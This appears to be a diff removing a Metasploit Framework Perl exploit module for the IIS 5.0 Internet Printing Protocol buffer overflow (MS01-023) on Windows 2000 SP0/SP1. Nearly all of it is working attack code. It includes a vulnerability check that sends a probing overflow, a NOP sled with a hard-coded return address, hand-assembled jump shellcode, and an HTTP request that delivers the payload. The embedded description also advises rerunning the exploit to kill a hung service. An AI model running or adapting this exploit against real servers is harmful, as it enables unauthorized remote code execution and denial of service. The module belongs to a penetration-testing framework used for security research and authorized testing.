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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::iis50_printer_overflow;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
-
- 'Name' => 'IIS 5.0 Printer Buffer Overflow',
- 'Version' => '$Revision: 1.36 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 900,
- 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This exploits a buffer overflow in the request processor of
- the Internet Printing Protocol ISAPI module in IIS. This
- module works against Windows 2000 service pack 0 and 1. If
- the service stops responding after a successful compromise,
- run the exploit a couple more times to completely kill the
- hung process.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '3323'],
- ['MSB', 'MS01-023'],
- ['URL', 'http://seclists.org/lists/bugtraq/2001/May/0005.html'],
- ['MIL', '27'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' => [['Windows 2000 SP0/SP1', 0x732c45f3]],
-
- 'Keys' => ['iis'],
-
- 'DisclosureDate' => 'May 1 2001',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("GET /NULL.printer\r\n\r\n");
- my $res = $s->Recv(-1, 5);
- $s->Close();
-
- if ($res !~ /Error in web printer/) {
- $self->PrintLine("[*] Server may not have the .printer extension mapped");
- return $self->CheckCode('Safe');
- }
-
- # Now send a mini-overflow to see if the service is vulnerable
- $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("GET /NULL.printer\r\nHost: " . ("META" x 64) . "P\r\n\r\n");
- $res = $s->Recv(-1, 5);
- $s->Close();
-
- if ($res =~ /locked out/) {
- $self->PrintLine("[*] The IUSR account is locked account, we can't check");
- return $self->CheckCode('Detected');
- }
- elsif ($res =~ /HTTP\/1\.1 500/) {
- $self->PrintLine("[*] The system appears to be vulnerable");
- return $self->CheckCode('Appears');
- }
-
- $self->PrintLine("[*] The system does not appear to be vulnerable");
- return $self->CheckCode('Safe');
- }
-
- sub Exploit
- {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $pattern = $self->MakeNops(280);
- substr($pattern, 268, 4, pack("V", $target->[1]));
-
- # payload is at: [ebx + 96] + 256 + 64
- $pattern .= "\x8b\x4b\x60"; # mov ecx, [ebx + 96]
- $pattern .= "\x80\xc1\x40"; # add cl, 64
- $pattern .= "\x80\xc5\x01"; # add ch, 1
- $pattern .= "\xff\xe1"; # jmp ecx
-
- my $request = "GET http://$pattern/null.printer?$shellcode HTTP/1.0\r\n\r\n";
-
- $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return to esp at 0x%.8x...", $target->[1]));
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
- $s->Close();
- return;
- }
-
-